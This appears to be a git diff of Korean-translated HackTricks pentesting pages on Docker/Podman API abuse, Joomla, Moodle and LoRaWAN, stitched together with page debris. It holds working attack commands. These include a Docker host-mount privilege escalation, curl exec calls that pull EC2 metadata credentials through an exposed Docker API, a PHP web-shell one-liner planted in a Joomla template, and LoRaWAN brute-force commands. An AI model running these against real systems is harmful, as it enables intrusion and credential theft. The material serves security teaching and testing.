**Podman**은 Red Hat에서 개발 및 유지 관리하는 [Open Container Initiative (OCI) 표준](https://github.com/opencontainers)을 준수하는 오픈 소스 컨테이너 엔진입니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
|
||||
|
||||
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 **Buildah**와 같은 컨테이너 이미지 빌드를 위한 도구와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
|
||||
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 컨테이너 이미지를 빌드하기 위한 **Buildah**와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
|
||||
|
||||
**주요 차이점**
|
||||
|
||||
- **아키텍처**: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작한 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
|
||||
- **아키텍처**: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작하는 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
|
||||
- **Systemd 통합**: Podman은 **systemd**와 통합되어 컨테이너를 관리할 수 있으며, systemd 유닛을 통해 컨테이너 관리를 가능하게 합니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하기 위해 systemd를 사용하는 것과 대조적입니다.
|
||||
- **루트 없는 컨테이너**: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자의 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.
|
||||
- **루트 없는 컨테이너**: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.
|
||||
|
||||
Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 명령을 Podman과 Docker 모두에서 사용할 수 있습니다:
|
||||
> [!TIP]
|
||||
> Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 명령을 Podman에서 Docker와 동일하게 사용할 수 있습니다:
|
||||
>
|
||||
> ```bash
|
||||
> podman --version
|
||||
@ -134,9 +134,9 @@ docker-init:
|
||||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
원격 docker API에 `docker` 명령어로 **연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행**할 수 있습니다.
|
||||
원격 docker API에 `docker` 명령어로 **연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행할 수 있습니다**.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> `export DOCKER_HOST="tcp://localhost:2375"`를 사용하여 docker 명령어와 함께 `-H` 매개변수를 **사용하지 않을 수 있습니다**.
|
||||
|
||||
**빠른 권한 상승**
|
||||
@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
**Curl**
|
||||
|
||||
가끔 **TLS** 엔드포인트에 **2376**이 활성화되어 있는 것을 볼 수 있습니다. docker 클라이언트로는 연결할 수 없었지만 curl을 사용하면 연결할 수 있습니다.
|
||||
가끔 **TLS** 엔드포인트에 **2376**이 열려 있는 것을 볼 수 있습니다. docker 클라이언트로는 연결할 수 없었지만 curl을 사용하여 연결하는 것은 가능합니다.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -175,7 +175,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
|
||||
#Delete stopped containers
|
||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||||
```
|
||||
이와 관련하여 더 많은 정보가 필요하면, 제가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
이와 관련하여 더 많은 정보가 필요하면, 내가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
|
||||
#### 자동
|
||||
```bash
|
||||
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
#### 의심스러운 활동 로깅
|
||||
|
||||
- 실행 중인 컨테이너에서 **의심스러운 행동**을 감지하기 위해 도구 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)를 사용할 수 있습니다.
|
||||
- 다음 코드 조각에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하세요. 그 후, 규칙을 로드하고 **의심스러운 활동을 로깅하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
|
||||
- 다음 코드 조각에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하십시오. 그 후, 규칙을 로드하고 **의심스러운 활동을 로깅하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
||||
@ -37,7 +37,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
### Discovery/Footprinting
|
||||
|
||||
- Check the **meta**
|
||||
- **메타** 확인
|
||||
```bash
|
||||
curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
|
||||
@ -58,16 +58,16 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### 버전
|
||||
### Version
|
||||
|
||||
- **/administrator/manifests/files/joomla.xml**에서 버전을 확인할 수 있습니다.
|
||||
- **/language/en-GB/en-GB.xml**에서 Joomla의 버전을 확인할 수 있습니다.
|
||||
- **plugins/system/cache/cache.xml**에서 대략적인 버전을 확인할 수 있습니다.
|
||||
|
||||
### 자동
|
||||
### Automatic
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
@ -92,18 +92,18 @@ admin:admin
|
||||
```
|
||||
## RCE
|
||||
|
||||
관리자 자격 증명을 얻었다면 **RCE를 수행할 수 있습니다**. 이를 위해 **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿을 사용자 정의**하여 이를 수행할 수 있습니다.
|
||||
만약 **관리자 자격 증명**을 얻었다면, **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿**을 **커스터마이즈**하여 이를 수행할 수 있습니다.
|
||||
|
||||
1. `Configuration` 아래의 **`Templates`**를 클릭하여 템플릿 메뉴를 불러옵니다.
|
||||
2. **템플릿** 이름을 클릭합니다. `Template` 열 헤더 아래의 **`protostar`**를 선택합시다. 그러면 **`Templates: Customise`** 페이지로 이동합니다.
|
||||
3. 마지막으로 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다:
|
||||
3. 마지막으로, 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **저장 및 닫기**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 악용 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승**시킵니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Joomla 버전 5.X.X, 4.X.X 및 3.X.X를 지원하며 다음을 허용합니다:**
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 악용 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승시킵니다**. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. 이는 **Joomla 버전 5.X.X, 4.X.X, 및 3.X.X에 대한 지원을 제공하며, 다음을 허용합니다:**
|
||||
- _**권한 상승:**_ Joomla에 사용자를 생성합니다.
|
||||
- _**(RCE) 내장 템플릿 편집:**_ Joomla의 내장 템플릿을 편집합니다.
|
||||
- _**(커스텀) 사용자 정의 익스플로잇:**_ 서드파티 Joomla 플러그인을 위한 사용자 정의 익스플로잇입니다.
|
||||
|
||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **다음에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ Long Range (**LoRa**)는 현재 가장 많이 배포된 LPWAN 물리 계층이
|
||||
* LoRaWAN – LoRa-Alliance에서 유지 관리하는 개방형 MAC/네트워크 계층. 1.0.x 및 1.1 버전이 현장에서 일반적입니다.
|
||||
* 전형적인 아키텍처: *엔드 장치 → 게이트웨이 (패킷 포워더) → 네트워크 서버 → 애플리케이션 서버*.
|
||||
|
||||
> **보안 모델**은 *조인* 절차 (OTAA) 중 세션 키를 파생하는 두 개의 AES-128 루트 키 (AppKey/NwkKey)에 의존합니다. 키가 유출되면 공격자는 해당 트래픽에 대한 전체 읽기/쓰기 권한을 얻게 됩니다.
|
||||
> **보안 모델**은 *조인* 절차 (OTAA) 중 세션 키를 파생하는 두 개의 AES-128 루트 키 (AppKey/NwkKey)에 의존합니다. 키가 유출되면 공격자는 해당 트래픽에 대한 전체 읽기/쓰기 권한을 얻습니다.
|
||||
|
||||
---
|
||||
|
||||
@ -34,8 +34,8 @@ Long Range (**LoRa**)는 현재 가장 많이 배포된 LPWAN 물리 계층이
|
||||
|
||||
## 최근 취약점 (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge 및 mqtt-forwarder*가 Kerlink 게이트웨이에서 상태 기반 방화벽 규칙을 우회하는 TCP 패킷을 수용하여 원격 관리 인터페이스 노출을 허용했습니다. 각각 4.0.11 / 4.2.1에서 수정됨.
|
||||
* **Dragino LG01/LG308 시리즈** – 2022-2024년의 여러 CVE (예: 2022-45227 디렉토리 탐색, 2022-45228 CSRF)가 2025년에도 여전히 패치되지 않은 것으로 관찰됨; 수천 개의 공용 게이트웨이에서 인증되지 않은 펌웨어 덤프 또는 구성 덮어쓰기를 활성화함.
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge 및 mqtt-forwarder*가 Kerlink 게이트웨이에서 상태 저장 방화벽 규칙을 우회하는 TCP 패킷을 수용하여 원격 관리 인터페이스 노출을 허용했습니다. 각각 4.0.11 / 4.2.1에서 수정됨.
|
||||
* **Dragino LG01/LG308 시리즈** – 2022-2024년 동안 여러 CVE (예: 2022-45227 디렉토리 탐색, 2022-45228 CSRF)가 2025년에도 여전히 패치되지 않은 것으로 관찰됨; 수천 개의 공용 게이트웨이에서 인증되지 않은 펌웨어 덤프 또는 구성 덮어쓰기를 활성화함.
|
||||
* Semtech *패킷 포워더 UDP* 오버플로우 (발표되지 않음, 2023-10 패치): 255 B보다 큰 업링크가 스택 스매시를 유발하여 SX130x 참조 게이트웨이에 대한 RCE를 발생시킴 (Black Hat EU 2023 “LoRa Exploitation Reloaded”에서 발견됨).
|
||||
|
||||
---
|
||||
@ -57,9 +57,9 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
2. 원래 장치가 다시 전송하기 전에 즉시 재전송합니다 (또는 RSSI를 증가시킵니다).
|
||||
3. 네트워크 서버는 새로운 DevAddr 및 세션 키를 할당하는 동안 대상 장치는 이전 세션을 계속 사용합니다 → 공격자는 비어 있는 세션을 소유하고 위조된 업링크를 주입할 수 있습니다.
|
||||
|
||||
### 3. 적응형 데이터 속도 (ADR) 다운그레이드
|
||||
### 3. 적응형 데이터 전송 속도 (ADR) 다운그레이드
|
||||
|
||||
SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 → 게이트웨이의 듀티 사이클을 소모시킵니다 (서비스 거부) 동시에 공격자에게 배터리 영향을 낮게 유지합니다 (네트워크 수준 MAC 명령만 전송).
|
||||
SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 → 게이트웨이의 듀티 사이클을 소진시킵니다 (서비스 거부) 동시에 공격자에게 배터리 영향을 낮게 유지합니다 (네트워크 수준 MAC 명령만 전송).
|
||||
|
||||
### 4. 반응형 재밍
|
||||
|
||||
@ -71,7 +71,7 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
|
||||
|
||||
| 도구 | 목적 | 비고 |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN 감사 프레임워크 (LAF)** | LoRaWAN 프레임 제작/파싱/공격, DB 기반 분석기, 브루트 포스 | Docker 이미지, Semtech UDP 입력 지원 |
|
||||
| **LoRaWAN 감사 프레임워크 (LAF)** | LoRaWAN 프레임 제작/구문 분석/공격, DB 기반 분석기, 브루트 포스 | Docker 이미지, Semtech UDP 입력 지원 |
|
||||
| **LoRaPWN** | OTAA를 브루트 포스하고, 다운링크를 생성하며, 페이로드를 복호화하는 Trend Micro Python 유틸리티 | 2023년 데모 출시, SDR 비독립적 |
|
||||
| **LoRAttack** | USRP와 함께하는 다채널 스니퍼 + 재전송; PCAP/LoRaTap 내보내기 | 좋은 Wireshark 통합 |
|
||||
| **gr-lora / gr-lorawan** | 기저대역 TX/RX를 위한 GNU Radio OOT 블록 | 사용자 정의 공격의 기초 |
|
||||
@ -80,7 +80,7 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
|
||||
|
||||
## 방어 권장 사항 (펜테스터 체크리스트)
|
||||
|
||||
1. 진정한 무작위 DevNonce를 가진 **OTAA** 장치를 선호합니다; 중복을 모니터링합니다.
|
||||
1. 진정으로 무작위 DevNonce를 가진 **OTAA** 장치를 선호합니다; 중복을 모니터링합니다.
|
||||
2. **LoRaWAN 1.1**을 시행합니다: 32비트 프레임 카운터, 구별된 FNwkSIntKey / SNwkSIntKey.
|
||||
3. 프레임 카운터를 비휘발성 메모리 (**ABP**)에 저장하거나 OTAA로 마이그레이션합니다.
|
||||
4. 루트 키를 펌웨어 추출로부터 보호하기 위해 **보안 요소** (ATECC608A/SX1262-TRX-SE)를 배포합니다.
|
||||
@ -90,6 +90,6 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
|
||||
|
||||
## References
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWN 개요 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Trend Micro LoRaPWN 개요 – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user